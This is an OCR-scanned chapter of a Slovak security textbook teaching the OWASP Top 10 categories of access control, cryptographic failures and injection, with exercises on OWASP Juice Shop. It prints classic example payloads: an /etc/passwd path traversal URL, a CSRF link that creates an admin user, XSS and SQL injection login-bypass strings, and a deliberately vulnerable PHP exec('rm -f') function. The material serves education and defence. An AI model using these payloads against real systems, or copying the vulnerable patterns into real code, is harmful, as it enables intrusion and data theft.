typy utokov, mate k dispozicii aplikdciu OWASP Juice Shop, ktora je dostupna na:
https://github.com/juice-shop/juice-shop

Pre jej spravne fungovanie budete potrebovat mat nainstalovany Docker.

Metddy instalacie najdete tu: https://github.com/juice-shop/juice-shopi#setup

AQ1 Broken Access Control

Staré cinske prislovie hovori, Ze je vela sposobov, ako pokazit riadenie pristupu.
Okrem uvedeného pristupu existuje este vysSie spominana autentifikacia
a autorizacia ako samostatna skupina slabin.

Aplikacia by mala pri riadeni pristupov pamaitat na vSetky typy zdrojov
a vsetky typy pristupov k zdrojom a riadit pristup podla biznis poziadaviek.
Pod zdrojom (resource) myslime spOsob ulozenia dat, napr. zaznam
v databaze, objekt v pamadti (alebo jeho perzistentnt reprezentaciu), stibor
alebo adresar atd. Pod typom pristupu myslime front-end pristup (napr. cez
webové rozhranie), pristup cez AP, pristup z mobilnej aplikacie (napr. cez API
1) ), pristup cez email™, pristup cez back-end - FTP, SMB share, pomenovant

2 napr. cez emailovy link, ktory vykona nejaku akciu - napr. schvali finanénu transakciu.
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pipe, atd. Dalsou komplikaciou je tiloha zistit od biznisu, aké je vlastne jeho
poziadavka, t.j. ako by mali vyzerat jednotlivé pristupové profily.

Riadenie pristupovov sa da robit viacerymi sposobmi, ktoré by mali respektovat
principy least privilege a need to know / need to use, spominané v druhej casti
ucebnice. Medzi sp6soby riadenia pristupov patri:

Mandatory access control (MAC) - je typ riadenia pristupu, pri ktorom ma subjekt
pravo vykonat akciu nad objektom. Prava urcuje autoriza¢na politika. Tento pristup
sa vyuziva v operacnych systémoch - napr. proces ma pravo pristupit k TCP/UDP
portom na opera¢nom systéme. Dalej je tento pristup vyuzivany pri klasifikovanych
udajoch - napr. pracovnici s previerkou platnou pre troven Kklasifikacie sa mézu
oboznamovat s informaciami.

Discretionary access control (DAC) - je riadenie pristupov, ktoré je zaloZené na
identite alebo skupine, kam identita subjektu patri. Prikladom moze byt stiborovy
systém NTEFS - opravnenia v niom sa pridelované pouzivatefom (identite) alebo
skupine pouzivatelov (security group).

Role-based access control (RBAC) - RBAC je implementaciou MAC alebo DAC,
zaloZenou na vytvoreni role pre pouZzivatela a nasledne pridefovani opravneni na
rolu. Prikladom moze byt skolsky systém z druhého dielu ucebnice, v ktorom boli
opravnenia pre rolu “Student” alebo “ucitel”. Rola mo6ze byt abstrakciou nad
viacerymi skupinami v ramci DAC.

Attribute based access control (ABAC) - je riadenie pristupu, ktoré je zalozené na
atribatoch (vlastnostiach) subjektu, objektu alebo akcie. Napriklad pracovnik
oddelenia I'udskych zdrojov vie prehliadat vykaz o pracovnikov len v krajine, kde
posobia (krajina objektu pracovnika [udskych zdrojov = krajina objektu
zamestnanec).

Aplikacie mozu pri riadeni pristupov vyuzivat lubovolny model. Podme sa pozriet
na najcastejSie problémy stivisiace s pokazenym riadenim pristupu.

Chybajtica alebo nedostatocna autorizacia

CWE-862: Missing Authorization je pomerne jasné - chyba autorizacia

O Autorizacia je overenie, ¢i entita s identitou x ma pravo vykonat akciu y nad
objektom z. Nap. pouzivatel jurko.janosik moze zmazat objekt: pouzivatela
janko.hrasko.

Pokial aplikdcia neaplikuje autorizaciu, tak neaplikuje Ziadny model riadenia

pristupu a spolieha sa na to, ¢o je vstupnym parametrom poziadavky.
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=

Prikladom bola stranka prezidentského kandidata Ivana Gasparovica. CMS™
systém za touto strankou neoveroval akciu pouzivatela. Bezny navstevnik
vedel pozmenit obsah webu tak, Ze v url prepisal parameter action=view na
action=edit.

Pokial pouzivatel, vzhladom na nedostato¢nt autorizdciu, ziska prava, ktoré
by nemal mat, nazyvame takyto utok eskalaciou privilégii (privilege
escalation).

V ramci OWASP Juice shop je tloha “Admin section”, ktora moze spdsobit
problémy s hladanim sekcie webu, za ktorou sa schovdva administratorské
rozhranie. V “praxi” niektoré aplikacie schovavaji administratorské rozhranie
za viac ¢i menej “nevyhladatelné” URL™.

V praxi sa casto stava, ze aplikdcia obsahuje kontrolu autorizacie na viacerych
miestach. Pokial sa napr. jeden komponent spolieha na to, Ze autorizaciu
spravil druhy komponent, moze dojst k nezelanym prekvapeniam.

Autorizacia nemusi tplne absentovat, moze vsak byt nedostatocne realizovana,
napr. pouzivatel chce pristupovat k sade objektov. Vstupny komponent
skontroluje opravnenia na cast objektov a posunie poziadavku dalSiemu
komponentu. Druhy komponent sa spolahne na kontrolu opravneni prvym
komponentom a neskontroluje, ¢i ma mat pouzivatel pristup aj k zvysnym
objektom.

Path traversal

V ramci tejto kapitoly sa pozrieme na slabiny CWE-22 Improper Limitation of
a Pathname to a Restricted Directory (Path Traversal’), CWE-23 Relative Path
Traversal a CWE-35 Path Traversal: '.../...//'. To, ¢o majti uvedené slabiny spoloc¢né, je
nedostatocné osetrenie vstupov pri pristupe k siuborom, pri ktorych vie pouzivatel
ovplyvnit ich nazov a/alebo cestu k nim.

=

Vezmime si aplikdciu, ktora je na webovom serveri ulozena v korefiovom
adresari (wwwroot) adresari /var/www”. Korenovy adresar obsahuje samotné
subory aplikacie a adresar “reports”, v ktorom su uloZené vygenerované
reporty. Aplikacia obsahuje v koremovom adresari stbor report.php, ktory
zobrazuje reporty z adresara “reports”. Pokial chce stranka report.php zobrazit
report, tak ma dve moznosti:

o pouzit absoliitnu cestu napr.: /var/www/reports/report123.pdf

73

CMS je skratka content management system. Je to redaktorsky systém, v ktorom mozu

editori spravovat webovu stranku bez toho, aby museli pisat HTML kéd, nahravat

a pridavat obrazky a iné média.

74
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napr. www.example.com/admin

Standardny adresar pre webovy server Apache
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o pouzif relativnu cestu napr: reports/report123.pdf - cestu k suboru vysklada
z pozicie suboru report.php a relativnej cesty.

Ak reporty.php otvara stibor
reportl.pdf, méze pouZit:

absoluitnu cestu: /var/www/
reports/reportl.pdf

relativnu cestu:
../reportl.pdf

Aplikacia zobrazi report na zaklade nasledovného URL:
www.aplikacia.sk/report.php?view=report123.pdf

Co sa stane, ak pod nazov stiboru doplnime retazec “../” ? Pokial aplikacia neosetri
tento vstup a administrator pristupové prava, tak modzeme zrazu pristupovat
k siborom o adresar vyssie.

(\@} V ramci operacného systému si vyskiisajte nasledovné prikazy:
° cd..
° cd.

o cd..//.. - pripade OS windows cd ..\ . \..
o od...

(\?} Co zobrazi deravd aplikdcia pri pristupe na nasledovné URL?

1. www.aplikacia.sk/report.php ?view=../report.php
2. www.aplikacia.sk/report.php?view=../../../etc/passwd

Ako by ste osetrili uvedenti zranitel'nost na virovni aplikdcie a mimo aplikdcie?
Zverejnenie citlivych dat

Slabina CWE-200 Exposure of Sensitive Information to an Unauthorized Actor je
opdat pomerne priamociara - data, ktoré maja byt pristupné len urcéenym
pouzivatelom alebo nemaja byt pristupné vobec, st pristupné uto¢nikovi. Podobne,
ako v kapitole o chybajicej autorizdcii, moézu byf data schované
v “neuhadnutelnom” URL. Dal§im problémom byvajti nespravne nakonfigurované
(miskonfigurované) tiloziska stiborov - napr. S3 buckety v Amazon cloude.
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NEWS

Leaky AWS S3 bucket once again at centre of data
breach

Prestige Software exposed millions of records after failing to pay attention to the
security of its cloud instances

. 6 By Alex Scroxton, Security Editor Published: 10 Nov 2020 14:50

Obr.: Priklad’® GDPR data breach, ktoré zahitia zle nakonfigurovany S3 bucket

Data vSak mozu byt zverejnené aj inym sposobom: slabina CWE-201: Insertion of
Sensitive Information Into Sent Data pozostdva zo zaslania citlivych dat
neopravnenej osobe. Prikladom je zverejnenie cisel socidlneho poistenia (Social
Security Numbers - SSN) ucitefov v HTML komentaroch na webovej stranke
Department of Elementary and Secondary Education statu Missouri.

Missouri teachers’ Social Security
numbers at risk on state agency’s

website

From the E g: Go

Oct 14, 2021

Obr.: povodny clanok ohl'adom zverejnenia SSN ucitelov””
(\D} V ramci OWASP Juice Shop je 1iloha Confidential document. DokdZete ho ndjst’?

Problémy s opravneniami

Problémy s opravneniami kombinuju viaceré CWE ako CWE-275 Permission Issues
alebo CWE-276 Incorrect Default Permissions. Je jedno, aky spdsob riadenia
pristupovych prav aplikacia vyuziva. Pokial st opravnenia v aplikacii nastavené

76 Prevzaté z https://www.computerweekly.com/news/252491842/Leaky-AWS-S3-bucket-
once-again-at-centre-of-data-breach

77 Obr. prevzaty z https://www.stltoday.com/news/local/education/missouri-teachers-
social-security-numbers-at-risk-on-state-agencys-website/article_f3339700-ece0-54a1-
9a45-f300321b7c82.html a nasledné obvinenie muza, ktory nareportoval zraniteInost:
https://arstechnica.com/tech-policy/2021/10/missouri-gov-calls-journalist-who-found-
security-flaw-a-hacker-threatens-to-sue/
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nevhodnym sposobom, tak moze vzniknaf zranitelnost aj pri riadeni
prostrednictvom MAC, DAC, RBAC aj ABAC.

V praxi sa vyskytuje viacero problémov:
Nekonzistentne pridelené pristupové prava

Vezmime si aplikdciu, ktora spractiva data na réznych trovniach klasifikacie. Pri
vyuziti MAC nam zvoleny spdsob dobre verifikuje klasifikacnti tiroven. V pripade,
ze vyuzijeme RBAC alebo ABAC vsak moze nastat situacia, kedy pouzivatel nema
opravnenie na nejaka troven klasifikacie, ale prislusnostou ku skupine/role alebo
atribuitu takéto prava dostane.

[ Prikladom moéze byt Skolsky systém, ktory neumozni prehliadat ucitelovi
znamky Ziakov, ktorych neudi, avSak kvoli klasifikacnej porade si tento ucitel
vie zobrazit sumar znamok Zziaka. V takomto pripade aplikacia k objektu
(znamke) v jednom pripade neumozni pristup a v inom pripade umozni.

Chybne pridelené zdedené pristupové prava

Prava nie je vzdy potrebné pridelit priamo na objekt. Pri vyuziti hierarchickej
Struktiry je mozné prava dedit, t,j. podradené objekty m6zu mat zdedené prava od
nadradenych objektov. Napr. suibory mézu zdedit prava z nadradeného adresara.

NajcastejSie problémy s pravami sa vyskytujua pri prerusenej dedi¢nosti, napr. ked
dochadza bud ku prekopirovaniu péovodnych opravneni z nadradeného objektu na
podradeny a naslednd upravu opravneni na podradenom objekte, alebo
k odstraneniu opravneni podradeného objektu. Obzvlast to plati pri vyrazne
rozdielnych opravneniach explicitne pridelenych na podradeny objekt od
povodnych opravneni nadradeného objektu.

(\@_} Vyskiisajte si dedenie prav v ramci OS Windows: Vytvorte adresir “Head” a v 1iom
podadresar “Body”. Pozrite si prava oboch adresdrov. Vyskiisajte si moznost’ vypniit
dedenie na adresdri Body a nastavit' explicitné oprdvnenia.

Cross-site request forgery (CSRF)

CWE-352: Cross-Site Request Forgery (CSRF) je zaujimavou slabinou”™, pri ktorej
aplikacia neskontroluje, ¢i request bol skutocne zaslany konkrétnym pouzivatelom.

[ Vezmime si aplikdciu www.aplikacia.sk, ktord umozriuje administratorovi
vytvorit nového admin pouzivatela prostrednictvom GET requestu:
www.aplikacia.sk/?action=CreateUser&username=novy.
admin&role=Admin&password=noveheslo

Utocnik posle takato linku administratovi aplikacie v phishingovom emaili
a administrator na nu klikne. Pokial je administrator prihlaseny do aplikacie, ma

78 ale rovnaké oznacenie nesie aj typ titoku
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pridelent session ulozent v session cookie. Pokial teda administrator klikne na
phishing linku uvedent vyssie, tak sa stane nasledovné:

1. URL sa otvori v prehliadaci.

2. Prehliadac zisti, Ze k danej doméne ma session cookie a ttito cookie pouZije pri
requeste.

3. Aplikacia dostane GET request s platnou session cookie.

4. Aplikacia skontroluje prava na zdaklade session. KedZze pouzivatel je
administrator, tak sa vykona pozadovana akcia: v aplikacii mame zrazu
0 administratora novy.admin viac.

({)} Vyhl'adajte na internete sposob osetrenia CSRF prostrednictvom CSRF tokenu. Spravte
prezentdciu pre ostatnych a vysvetlite v nej:

1. ako sa CSRF token lisi od session tokenu,
2. preco pri pouZiti CSRF tokenu kroky 1-4 z prikladu vyssie nefungujii.

AQ2 Cryptographic Failures

Pouzivanie nesifrovanych protokolov

Pomerne jednozna¢né CWE-319: Cleartext Transmission of Sensitive Information je
v praxi o pouzivani nesifrovanych protokolov ako HTTP, FTP alebo emailu na
prenos citlivych tidajov.

\®_} Muite ERP aplikdciu, ktord cez FTP synchronizuje objedndvky medzi e-shopom a ERP
aplikdciou. V ramci objedndvky sa prendsaju nasledovné informdcie:

o kontaktné vidaje zikaznika - meno, adresa, email, telefonicky kontakt,
° informicie o objednanom tovare.

E-shop sa overi voci FTP prostrednictvom mena a hesla.

ERP
systém

e-shop

Nahratie zostavy objednavok ako
subor objednavky-<datum>.csv na
FTP share
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Urobte threat modeling pre tuto situdciu, identifikujte hrozby a spravte odhad zdvaznosti
hrozby:

Damage o o Affected | Discover )
Hrozba Typ' ) Reproducibility | Exploitability . Priemer
potencial users ability

! Spoofing, tampering, repudiation, information leak, denial of service, elevation of

privileges

Pouzitie trvale nastaveného Sifrovacieho kltca

Opét pomerne jednozna¢né CWE-321: Use of Hard-coded Cryptographic Key je
problémom, pri ktorom programator uvedie Sifrovaci kI'u¢ do zdrojového kodu
programu. Pokial sa tto¢nik, napr. reverznym inZinierstvom, dopracuje
k sifrovaciemu klicu, vie desifrovat data pre kazdu instanciu softvéru.

\@_} Vyhl'adajte na internete, ako by ste odhalili pritomnost’ Sifrovacieho kl'iéa v zdrojovom
kode.

V hardvérovom svete ide o vacsi problém, kedy je Sifrovaci kltc trvale “vypaleny”
na Cipe. Pri softvéri je mozné chybu odstranit aktualizaciou, pri hardvéri je spravidla
potrebné vymenit celé zariadenie. Vyrobcovia su si tejto slabiny vedomi, a preto sa
snazia kl'u¢ zamaskovat (obfuskovat), aby ho nebolo mozné jednoducho vyc¢itat.
Pretoze vSetky informacie potrebné na demaskovanie klica st na zariadeni, je len
otazka casu a Sikovnosti, kedy je klt¢ odhaleny.

= Prikladom je unik AACS Ssifrovacieho kltica z DVD prehravacov alebo master
kIaca pre SONY Playstation.

Slabé algoritmy, kratke kluce, nizka entropia

V druhom dieli ucebnice sme si opisali dve klticové vlastnosti Sifrovania: kvalitu
algoritmu a dizku kIa¢a. Ako hovori nadpis tejto kapitoly a prislu$ného CWE-310
Cryptographic Issues, problémom je pouzivanie:

1. slabého algoritmu alebo protokolu, resp. moznost downgrade na slaby
algoritmus / protokol,

2. kratkeho kltca, resp. moznost downgrade na kratky kl'a¢,

3. nizkej entropie.

Pod'me si rozobrat tieto problémy postupne.

Slaby algoritmus je algoritmus, ktory je bud technicky zastaraly, zranitelny alebo
neposkytuje dostatoc¢ne silni troven ochrany. To plati aj pre kryptografické
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protokoly, napriklad pri protokoloch SSLv2” a SSLv3* hovorime o zranite[nych
protokoloch, v pripade protokolov TLSv1.0 a TLSv1.1¥ hovorime o technicky
zastaralych protokoloch.

(\D} Vyhl'adajte na internete priklady slabych alebo rozbitych kryptografickyjch algoritmov.
Tip: vase zistenia vim mozu pomdct pri 1ilohe “Weird crypto” v ramci OWASP Juice
Shop.

= Coje viak myslené pod “downgrade” algoritmov a protokolov? Sktiste spravit
sken TLS napriklad pre sluzbu www.google.com a vyhladajte cast “Cipher
Suites”. Ako vidite server, ma nastavenych viacero kombinacii symetrického,
asymetrického Sifrovania a podpisovania®. Podstatné je, Ze kombindcii je tam
viacero a je na serveri a klientovi, aby si dohodli takt, ktora vyhovuje obom
komunikujacim strandm. V pripade tspesného man-in-the-middle utoku vie
utocnik v ramci nadvédzovania TLS spojenia (handshake) vynechat silné
kombinacie a ponechat len slabé, ¢im spravi oslabenie (downgrade)
Sifrovaného spojenia. Analogicky vie utocnik spravit downgrade napr. z TLS
1.3 na SSL 3.0, pokial je server nespravne nakonfigurovany.

Analogicky k algoritmom je mozné spravit downgrade dizky kI'iéa - tj. skratenie
kIica. Toto sa prakticky pouzivalo pocas obmedzovania exportu kryptografie®.
Namiesto RSA s dlhym klticom sa pouzival napr. RSA s 512 bitovym klticom, na
ktory vedel atoc¢nik vytvorit downgrade®.

Zostalo ndm posledné slovo, a to je “entropia”, ¢o je zjednodusene nahodnost
vyberu. Pokial mame Sifrovaci kIa¢ pre AES-256, tak kI'u¢ vyberame z mnoziny 2256
moznosti. Pokial vSak generator kltcov (resp. ndhodnych ¢isel) nema dostatocnti
entropiu, tak sice budeme mat dlhy kla¢, ale vyberany bude z mensej mnoziny.
Pokial bude mnozina dostatocne mala, tak bude ttocnik schopny ju prelomit brute-
force titokom.

(\D} Ako by ste konfigurdciou servera znemoznili titocnikovi vykonat downgrade algoritmov
alebo dizky klica?

7 https://drownattack.com

8 https://www.cisa.gov/news-events/alerts/2014/10/17/ssl-30-protocol-vulnerability-and-
poodle-attack, ano SSL protokol naozaj zozral pudlik
81 https://datatracker.ietf.org/doc/html/rfc8996

8 Viac informacii o Struktdre zaznamu v cipher suite: https://www .keyfactor.com/blog/

cipher-suites-explained/

8V 90-tych rokoch 20. storocia zapadné krajiny verili, Ze kryptografia je zbran a jej vyvoz
podlieha podobnému procesu ako vyvoz zbrani. Povolovali sa len vyvozy softvéru
a hardvéru, ktory pouzival slabé Sifry alebo kratke kltice, aby nemali silové zlozky
problém rozbit takuto kryptografiu a dostat sa k “chranenym” tidajom. Viac informacii
napr. tu: https://en.wikipedia.org/wiki/Crypto_wars

8 FREAK tutok: https://blog.cryptographyengineering.com/2015/03/03/attack-of-week-
freak-or-factoring-nsa/
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Uvedené kryptografické problémy sa samozrejme netykaju len SSL/TLS
a SSH®, ale aj pouzitia kryptografie na ochranu dat “at rest” - napr. zasifrovanie
databazy alebo vybranych citlivych stipcov®. V takychto pripadoch moze byt
nahradenie algoritmu alebo aj kltica problematické, kedZe je potrebné data
desifrovat a znovu zasifrovat novym algoritmom a/lebo kli¢om.

Problém s pouzitim nedostatoc¢ne silnych algoritmov a kIi¢ov moze vznikntit
pri podpore starych (legacy) klientov alebo embedded® zariadeni. Tieto
implementacie jednoducho nemusia podporovat vhodné algoritmy alebo dizky
klacov.

HSTS

V predchédzajticej kapitole sme sa rozpravali o downgrade kryptografie. V pripade,
ze klient zadal v minulosti do prehliadaca URL, napr. www.google.com, tak
prehliadac¢ automaticky najskor skusil http://www.google.com. Pokial chcel spravca
servera v takomto pripade nasmerovat klienta na HTTPS verziu stranky, musel
vyuzit napr. redirect.

(\9} Zistite, od akej verzie prehliada¢ Chrome a Firefox pouZivajii ako proii volbu protokol
HTTPS.

Co viak v pripade, Ze man-in-the-middle tto¢nik rovno povie klientovi, Ze port na
Sifrované spojenie je zatvoreny? Alebo klientovi neposle redirect response od http
servera? V takom pripade by klient zostal na nesifrovanej verzii HTTP.

Technologia HSTS (HTTP Strict Transport Security) slizi presne na ochranu voci
takymto downgrade utokom. Po prvej navsteve servera si klient zapamata, Ze pre
tento server sa aplikuje HSTS. To znamend, Ze na server sa klient vzdy pripaja
prostrednictvom HTTPS. V pripade pokusu o downgrade utok takéto spojenie
klient zahodi.

Pouzitie HSTS je indikované v hlavicke HTTP odpovede®:

$ curl -I https://www.eset.com
HTTP/2 200
content-encoding: br

server: ECAcc (via/F381)
strict-transport-security: max-age=15724800
x-cache: HIT

Xx-content-type-options: nosniff
x-frame-options: SAMEORIGIN

% https://www.ldeo.columbia.edu/ldeo/it/security/ssh/ssh-faq-1.html

% napr. tych, kde st ulozené ¢isla kreditnych kariet.

8 tj. zariadeni, ktoré obsahujt pocita¢ spravidla urceny na konkrétny tcel, napr. ako

sucast vyrobnej linky.

8  Pouzity je nastroj curl, ktorym sa daju velmi pekne realizovat rézne typy http dotazov.
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x-t3-cache-tags: pageld_2
X-Xss-protection: 1; mode=block; report=https://eset.report-uri.
com/r/d/xss/enforce

content-length: 10197

(\D} Zistite, o znamend parameter max-age a akd je jeho hodnota.

Sol, korenie a hasovacie funkcie

Ano, pojmy uvedené v nadpise sa naozaj pouzivaju :). Podme si ukézat aj iné
vyuzitie kryptografie® ako v TLS, a to na ochranu hesiel.

[ Pozrime sa na problém uloZenie hesla v aplikacii. Pretoze (databazovy)
administrator ma spravidla aplny pristup k datam, potrebujeme ochranit
stipec, v ktorom je heslo. Nie je preto vhodné ukladat hesla v pévodnej podobe
(plaintext), ani v zaSifrovanej podobe (reversible encryption)®. Ako vhodné
rieSenie sa javi pouzitie haSovacej funkcie, kedy ukladdme len has z hesla. Pri
prihlasovani staci spocitat has refazca, ktory pouzivatel zadal a porovnat
s uloZenym hasom. Problémom je, Ze takyto postup heslo nechrani dostatocne,
pretoze utoc¢nik vie vyuzit ttok prostrednictvom rainbow tables.”

Vezmime si napr. silnt hasovaciu funkciu SHA256%. Priamociare lamanie hesla
znamend, Ze zoberieme vygenerované retazce (alebo slovnik) a pre ne skuSame
vytvarat hase a porovndvame s hasom, ktory potrebujeme zlomit. Tento pristup je
narocny na cas, ale nendrocny na pamat. Vieme si vsak nachystat dopredu slovnik -
kombinacie retazec-has. Ak mame vela pamiite, tak slovnik natiahneme do pamate
a potom uz len porovnavame, ¢i sa hladany has objavi v nasom slovniku. Tento
postup je menej narocny na cas®, ale narocnejsi na pamét. Na internete je vSak
mozné najst rainbow tables pre najcastejsie slabé hesla.

Ochranou pred rainbow tables je pouZzit kombindciu ha$ a retazec znakov, ktory sa
nazyva sol (salt). Pre nas priklad so SHA256 has sa potom spoc¢ita ako SHA256(heslo
+sol). KedZe tito¢nik sol dopredu nepozna, nevie si ani pripravit rainbow tables. Sol
musi byt dostatocne dlhy, komplexny a nahodny retazec - viz. CWE-760 Use of
a One-Way Hash with a Predictable Salt. Overenie takto ulozeného hesla potom
prebieha v aplikacii tak, Ze aplikacia z poskytnutého retazca a v aplikacii ulozeného

% a co vsetko sa da pri nom pokazit..
% pretoze databdzovy administrator ma pristup ku klticu, alebo vie zavolat desifrovaciu
funkciu.

! najma u hasovacich funkcii, ktoré st zastaralé (poznamka pod ciarou napriklad
algoritmus MD5, ktory ma dnes nizku odolnost voci kolizidm, tj je mozné vytvorit dva
r6zne dokumenty s rovnakym hasom https://en.wikipedia.org/wiki/MD5

%2 Ak citate ucebnicu v roku 2050, tak to samozrejme nemusi platit.

% ak uz mame vytvoreny slovnik
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retazca soli vygeneruje pomocou algoritmu has a tito hodnotu potom porovna
s tou, ktora je ulozena v databaze.

(\?} Vyhladajte na internete, naco sa pouziva korenie (pepper) pri ochrane hesla. Aky je
rozdiel medzi saltom a pepperom?

(\@_} Pouzitie samotnej hasovacej funkcie, hoci aj so saltom a pepperom, nie je tiplne “to pravé
orechové”. Pripravte prezenticiu o problémoch uvedeného postupu uloZenia hesla
a algoritmoch, ktoré OWASP odporiica.

A03 Injection

Injection ttoky funguja tak, Ze do parametra requestu sa vlozi kéd alebo data,
s cieflom zmenit spdsob, ako aplikdcia spractiva data, pripadne s ciefom spustit
kéd*™. Podla toho, ¢o sa vklada do requestu, moze ist o viaceré typy utokov:

HTML kéd - HTML injection

JavaScript kéd - Cross-site scripting (XSS)

SQL kod - SQL injection

prikazy operacného systému - OS command injection
LDAP dotaz - LDAP injection

XML entity - XML entity injection

atd.

(\D_} Ktoré z nasledujiicich vitokov vkladajii kéd a ktoré vkladajii ddta:

Utok Vklada dita Vklada kéd

XSS

CL-RF injection

XPath injection

PHP remote file inclusion
(RFI)

LDAP injection

HTML injection a cross-site scripting

Oba typy zranitelnosti st spdsobené nespravnou sanitizaciou vstupu a vysledkom
je modifikacia HTML dokumentu, ktory sa spusti v prehliadaci pouzivatela. Ide
preto o atok na klienta, nie na server. Ako si ale ukazeme, dosledkom moze byt
kompromitacia aplikacie.

% pripadne v inej aplikacii, pokial je spracovanie dat zretazené cez viaceré aplikdcie
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Zacnime s HTML injection, ktora znamena vlozenie HTML kdédu do vysledného
HTML dokumentu.

= Aplikécia zobrazi informacie o pouzivatelovi na zaklade poziadavky: www.
aplikacia.sk/user.php?username=Jozko.Pouzivatel

Aplikacia spracuje vstup nasledovne:

<html> <body> <?php
//premenna user sa inicializuje GET parametrom username
$user =$ GET[“username”];

//ak pouzivatel existuje - overuje funkcia userExists, tak sa
zobrazia jeho informacie cez funkciu printUserInformation. Inak sa
vypise Pouzivatel neexistuje

if(userExists($user)){
printUserInformation($user)

} else {
print “<h1> Pouzivatel ” . $user .

“"

neexistuje</h1>"

}
?></body></html>

Ako vyzerd vystupny HTML dokument pre neexistujuceho pouzivatela?

username=<marquee>SERVER

username=Jozko.Pouzivatel HACKED!!!</marquee>

<html> <body> <h1> Pouzivatel
<marquee>SERVER HACKED!!!</
marquee> neexistuje</h1></body></
html>

<html> <body> <h1> Pouzivatel Jozko.
Pouzivatel neexistuje</h1></body></
html>

& Takyto typ HTML injection sa nazyva reflektovana (reflected) HTML injection,
nakolko vloZeny vstup sa okamzite zobrazi pouzivatelovi. Pokial by sa
podarilo neoSetreny vstup ulozif do databazy, tak by iSlo o stored HTML
injection.

\®_} Ako by wvedel titocnik vyuZit spravanie aplikicie z vyssie uvedeného prikladu na
vystrasenie iného pouZivatela prostrednictvom reflektovanej HTML injection?

HTML dokument moze ttoc¢nik modifikovat nielen prostrednictvom HTML kodu.
Prakticky vsSetky prehliadace umoznuju spustenie JavaScript kédu. Vyhodou
JavaScript kédu je, Ze umoznuje dosiahnut zaujimavejsie efekty ako HTML kod.
[ Vezmime si priklad aplikdcie uvedeny vysSie a ako vstup zadajme:

www.aplikacia.sk/user.php?username=
<script>alert(“HACKED!"”)</script>
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Vystupny HTML dokument bude vyzerat nasledovne:

<html> <body> <h1> Pouzivatel <script>alert(‘HACKED!’)</script>
neexistuje</h1></body></html>

a prehliadac zobrazi pop-up:

This page says

HACKED!

JavaScript ma pristup na vsetky casti (elementy) HTML dokumentu,takze je
mozné prepisat cokolvek.

\@_} Vyskiisajme si vytvorit novy HTML dokument s 'ubovolnym obsahom. Ndsledne
vlozte do HTML dokument JavaScript: <script>document.body.innerHTML = "tvoj
text"</script>

Preco sa ale vkladanie JavaScriptu nazyva cross-site scripting (XSS)? Do scriptu
vieme totiz vlozit referenciu na iny JavaScript stibor, nacitany z tplne inej
domény - preto hovorime o cross-site. XSS moze byt, podobne ako HTML
injection, reflected a stored. Okrem nich existuje aj DOM®* based XSS, ktoré je
zaloZené na nevhodnom spracovani vstupu existujicim JavaScriptom?®
v HTML dokumente.

Okrem toho, Ze JavaScriptom je mozné menit dokument, je mozné pristupovat aj ku
cookies prostrednictvom document.cookie objektu. V pripade, Ze ma obet aktivnu
session, moze utocnik tuto cookie ukradnut prostrednictvom XSS, a to tak, ze
hodnotu document.cookie posle” na titocnikom kontrolovany server. Pokial nema
aplikacia kontrolu nad IP adresou priradenou ku konkrétnej session, potom sa moze
utocnik na tato session pomocou ukradnutého cookie pripojit a s aplikaciou v mene
pouzivatela pracovat.

Osetrenie HTML injection aj XSS je primdrne rieSené sanitizaciou vstupu -
odstranenim HTML tagov (tag stripping) alebo ich prevedenim na text (escaping).

% document object model.

96

Pekny priklad je uvedeny na stranke OWASP: https://owasp.org/www-community/
attacks/DOM_Based_XSS
https://www.w3docs.com/snippets/javascript/how-to-make-http-get-request-in-
javascript.html

97
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Dalsim dolezitym sposobom oSetrenia XSS je vyuZitie Content Security Policy
(CSP). CSP je HTTP hlavicka, ktora definuje, z akych URI je mozné dotiahnut obsah
- frames, obrazky, JavaScripty. Pri spravnom zadefinovani CSP zlyha nacitanie
JavaScript suboru s ttocnikovej domény, nakol'ko tato nie je v CSP uvedena.

@_} Ako by ste vo vasej CSP nastavili pouzivanie Google Analytics?

SQL injection

Z HTML dokumentov sa posunieme do databazy a k CWE-89 Improper
Neutralization of Special Elements used in an SQL Command ('SQL Injection).
Databaz je viacero typov, avSak vzhladom na typy zranitelnosti, o ktorych si
povieme, nds budu zaujimat relacné databazy. Relacna databaza sa sklada
z tabuliek, ktoré ukladaju data. K datam sa da pristupovat prostrednictvom jazyka,
ktorému databazovy systém rozumie - napr. structured query language (SQL).
Prostrednictvom SQL dotazov (query) mozeme data prehliadat, vytvarat,
modifikovat a aj mazat®.

Pre zjednodusenie sa zamerajme len na dotazy zamerané na vyber dat z databazy®.
Tieto dotazy maju Strukturu:

select <zoznam> FROM <tabulka> WHERE <podmienka>;

= Napr.:

O vyber ID pouzivatela moze aplikdcia poziadat nasledovne:
select id from users where username = ‘administrator’;

overenie hesla:

select id from users where username = ‘administrator’
and password = BCryptor.HashPassword(‘password’, ‘salt’);

Samozrejme, pri programovani aplikdcie budu retazce, ako username a password,
dopltiané z premennych. Pokial nie je vstup korektne osetreny, moze mat vplyv na
to, ako bude vysledny dotaz vyzerat. Pokial by sme v pripade dotazu na overenie
hesla zadali username="" OR 1=1;--", tak vysledny dotaz bude mat formu:

select id from users where username = ‘' OR 1=1;--'
and password = BCryptor.HashPassword( ‘password’, ‘salt’);

pri vyhodnocovani podmienky sa porovna username s prazdnym retazcom
(vysledok je FALSE) a zaroven vyhodnoti vyraz 1=1 (TRUE). Zvysok dotazu sa

ignoruje, pretoze -- je oznacenie pre komentar. Vysledkom je zoznam vSetkych
pouzivatelkych ID v databaze.

(\D} Upravte username tak, aby dotaz vidy vritil ID pouzivatela “administrator”. Co by ste
dosiahli tymto payload-om?

% arobit dalsie uzito¢né veci v relacnej databaze.

¥ viac informacii napr. na https://www.sqltutorial.org/sql-select/
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Tento typ titoku sa nazyva SQL injection, nakolko do SQL dotazu vkladame (inject)
SQL kdd v parametri.

\®_} Urobte prezenticiu na tému blind SQL injection.

V pripade firemnej aplikdcie je mozné oSetrif SQL injection nad login
formularom aj pouzitim single-sign on'® alebo privileged access management
(PAM) nastroj.

OS command injection

Posledny typ utoku, ktory si ukazeme, bude poukazovat na interakciu aplikacie
s okolitym prostredim. Ide o CWE-78 Improper Neutralization of Special Elements
used in an OS Command ('OS Command Injection').

= Vratme sa k prikladu aplikécie z kapitoly Path traversal, ktora ukladala reporty
v adresarovej struktire. Nevzdelany programator naprogramoval
funkcionalitu pre zmazanie vygenerovaného reportu nasledovne:

function deleteReport($reportName);

{
$output=null;
$retval=null;
exec(‘rm -f ' + $reportName, $output, $retval)
print_r($output);
return $retval;
}

Funkcia vymaze na OS Linux subor, ktory dostane v parametri $reportName,
zobrazi vystup prikazu a vrati navratova hodnotu.

